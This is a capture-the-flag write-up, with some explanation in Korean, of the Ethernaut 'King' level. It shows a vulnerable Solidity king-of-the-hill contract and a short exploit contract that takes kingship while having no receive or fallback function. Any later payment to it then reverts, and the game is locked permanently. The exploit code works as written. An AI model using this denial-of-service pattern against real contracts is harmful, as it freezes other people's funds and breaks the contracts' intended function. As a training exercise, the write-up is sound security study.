Description
The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD
Such a fun game. Your goal is to break it.
When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.
Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint256 public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
Scenario
내가 이 컨트랙트에 보낸 msg.value가 prize보다 크거나, 내가 owner이면 이 컨트랙트에 이더를 보낼 수 있다. 근데 constructor 코드를 보면 현재 owner는 내가 아닌 level owner이므로 이 컨트랙트에 이더를 보내려면 prize보다 많이 보내야 한다. prize는 0.001이더이다.
그런데 이렇게 king을 탈환한다 해도, 다시 instance submit을 하면 level owner가 다시 king을 탈환하게 된다. 이를 막기 위해선 king = msg.sender가 수해오디기 이전, payable(king).transfer(msg.value)를 revert 시켜야 한다. 즉, level owner가 이더를 보내고 현재 king에게 돈을 반환하려고 할 때, 내 컨트랙트에 그 이더를 받는 receive나 fallback 함수가 없으면 revert가 나서 그 아랫줄 코드가 수행되지 않는다.
Exploit
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Exploit{
address owner = 0x3049C00639E6dfC269ED1451764a046f7aE500c6;
address level = 0xDC7B003Fb48151FCcBD838C14351197038F64536;
constructor() payable {
(bool success, ) = level.call{value: 1 ether}("");
require(success, "Failed to send ether");
}
}